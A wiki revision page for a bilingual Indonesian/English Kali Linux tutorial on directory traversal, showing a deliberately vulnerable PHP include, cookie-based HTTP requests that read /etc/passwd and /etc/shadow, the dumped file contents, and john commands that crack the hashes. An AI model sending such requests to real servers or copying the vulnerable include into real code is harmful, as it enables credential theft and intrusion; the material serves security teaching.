Kali Linux: Web Directory Traversal Vulnerability: Difference between revisions

From OnnoCenterWiki
Jump to navigationJump to search
Onnowpurbo (talk | contribs)
Created page with "A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters repres..."
 
Onnowpurbo (talk | contribs)
 
(4 intermediate revisions by the same user not shown)
Line 1: Line 1:
A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters representing "traverse to parent directory" are passed through to the file APIs.
Directory traversal (atau path traversal) merupakan eksploitasi kekurangan validasi keamanan / sanitasi nama file input yang disediakan pengguna, seperti karakter yang merepresentasikan "pelintasan / traverse ke direktori induk" dilewatkan ke file API.


The goal of this attack is to use an affected application to gain unauthorized access to the file system. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.
Sasaran serangan ini adalah menggunakan aplikasi yang salah konfigurasi untuk mendapatkan akses tidak sah ke sistem file. Serangan ini mengeksploitasi kurangnya keamanan (walaupun perangkat lunak bertindak persis seperti yang seharusnya) berbeda dengan eksploitasi bug dalam code.


Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.
Direktori traversal juga dikenal sebagai serangan ../ (dot dot slash), directory climbing, dan backtracking. Beberapa bentuk serangan ini juga merupakan canonicalization attack.


A typical example of vulnerable application in PHP code is:
Contoh sederhana aplikasi yang vulnerable di PHP di bawah ini,


  <?php
  <?php
Line 14: Line 14:
  ?>
  ?>


An attack against this system could be to send the following HTTP request:
Aplikasi dapat kita beri nama misalnya vulnerable.php.
Diletakan di bawah folder web /var/www/html/vulnerable.php
 
Serangan terhadap system ini dapat dilakukan menggunakan request HTTP berikut, jika anda kesulitan dapat menggunakan
 
telnet ip-address-server 80
 
masukan / ketik satu per satu kalimat di bawah ini,
 


  GET /vulnerable.php HTTP/1.0
  GET /vulnerable.php HTTP/1.0
  Cookie: TEMPLATE=../../../../../../../../../etc/passwd
  Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Cookie: TEMPLATE=../../../../../../../../../etc/shadow


Generating a server response such as:
Responds dari ../../etc/passwd kira-kira:


  HTTP/1.0 200 OK
  HTTP/1.1 200 OK
  Content-Type: text/html
Date: Fri, 01 Jun 2018 23:21:52 GMT
Server: Apache
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2164
Connection: close
  Content-Type: text/html; charset=UTF-8
   
   
  root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
  root:x:0:0:root:/root:/bin/bash
  daemon:*:1:1::/tmp:  
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
..
..
dst
 
 
Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/
menyebabkan include() untuk melakukan traverse ke root directory,
kemudian include Unix password file /etc/passwd.
 
File /etc/passwd biasanya digunakan untuk contoh serangan directory traversal,
dan memang biasanya digunakan oleh cracker yang berusaha menjebol.
 
Pada sistem Linux / Unix moden, file /etc/passwd tidak mengandung password.
Password berada di file shadow yang biasanya hanya bisa di akses oleh root saja.
Jika admin server agak ceroboh, dan mengubah ijin, misalnya,
 
sudo su
chmod 644 /etc/shadow
 
maka perintah ../../etc/shadow akan menghasilnya, misalnya,
 
HTTP/1.1 200 OK
Date: Fri, 01 Jun 2018 23:26:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1767
Connection: close
Content-Type: text/html; charset=UTF-8
root:!:17273:0:99999:7:::
daemon:*:16911:0:99999:7:::
bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
uucp:*:16911:0:99999:7:::
..
..
dst
 
Kumpulkan ke dua keluaran tersebut, misalnya,
keluaran /etc/password di file passwd.txt
keluaran /etc/shadow di file shadow.txt
dengan bermodal ke dua file tersebut maka kita dapat meng-crack menggunakan john
 
unshadow passwd.txt shadow.txt > mypasswd
john mypasswd
 
Hasilnya password akan jebol, kira-kira
 
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
123456          (redi)
123456          (krida)
123456          (onno)
123456          (pangtni)
123456          (kasum)
123456          (dansatsiber)
6g 0:00:00:07 DONE 2/3 (2018-06-02 06:32) 0.7894g/s 669.7p/s 711.8c/s 711.8C/s 123456..green
Use the "--show" option to display all of the cracked passwords reliably
 
 
 


The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the Unix password file /etc/passwd.
==Kesalahan Admin==


Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.
* Memasukan PHP yang vulnerable
* Kesalahan fatal admin disini adalah mengetik


However, in more recent Unix systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as it still displays the user accounts on the system.
sudo su
chmod 644 /etc/shadow

Latest revision as of 23:47, 1 June 2018

Directory traversal (atau path traversal) merupakan eksploitasi kekurangan validasi keamanan / sanitasi nama file input yang disediakan pengguna, seperti karakter yang merepresentasikan "pelintasan / traverse ke direktori induk" dilewatkan ke file API.

Sasaran serangan ini adalah menggunakan aplikasi yang salah konfigurasi untuk mendapatkan akses tidak sah ke sistem file. Serangan ini mengeksploitasi kurangnya keamanan (walaupun perangkat lunak bertindak persis seperti yang seharusnya) berbeda dengan eksploitasi bug dalam code.

Direktori traversal juga dikenal sebagai serangan ../ (dot dot slash), directory climbing, dan backtracking. Beberapa bentuk serangan ini juga merupakan canonicalization attack.

Contoh sederhana aplikasi yang vulnerable di PHP di bawah ini,

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
   $template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

Aplikasi dapat kita beri nama misalnya vulnerable.php. Diletakan di bawah folder web /var/www/html/vulnerable.php

Serangan terhadap system ini dapat dilakukan menggunakan request HTTP berikut, jika anda kesulitan dapat menggunakan

telnet ip-address-server 80

masukan / ketik satu per satu kalimat di bawah ini,


GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Cookie: TEMPLATE=../../../../../../../../../etc/shadow

Responds dari ../../etc/passwd kira-kira:

HTTP/1.1 200 OK
Date: Fri, 01 Jun 2018 23:21:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2164
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
..
..
dst


Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/ menyebabkan include() untuk melakukan traverse ke root directory, kemudian include Unix password file /etc/passwd.

File /etc/passwd biasanya digunakan untuk contoh serangan directory traversal, dan memang biasanya digunakan oleh cracker yang berusaha menjebol.

Pada sistem Linux / Unix moden, file /etc/passwd tidak mengandung password. Password berada di file shadow yang biasanya hanya bisa di akses oleh root saja. Jika admin server agak ceroboh, dan mengubah ijin, misalnya,

sudo su
chmod 644 /etc/shadow

maka perintah ../../etc/shadow akan menghasilnya, misalnya,

HTTP/1.1 200 OK
Date: Fri, 01 Jun 2018 23:26:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1767
Connection: close
Content-Type: text/html; charset=UTF-8

root:!:17273:0:99999:7:::
daemon:*:16911:0:99999:7:::
bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7:::
uucp:*:16911:0:99999:7:::
..
..
dst

Kumpulkan ke dua keluaran tersebut, misalnya, keluaran /etc/password di file passwd.txt keluaran /etc/shadow di file shadow.txt dengan bermodal ke dua file tersebut maka kita dapat meng-crack menggunakan john

unshadow passwd.txt shadow.txt > mypasswd
john mypasswd

Hasilnya password akan jebol, kira-kira

Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (redi)
123456           (krida)
123456           (onno)
123456           (pangtni)
123456           (kasum)
123456           (dansatsiber)
6g 0:00:00:07 DONE 2/3 (2018-06-02 06:32) 0.7894g/s 669.7p/s 711.8c/s 711.8C/s 123456..green
Use the "--show" option to display all of the cracked passwords reliably



Kesalahan Admin

  • Memasukan PHP yang vulnerable
  • Kesalahan fatal admin disini adalah mengetik
sudo su
chmod 644 /etc/shadow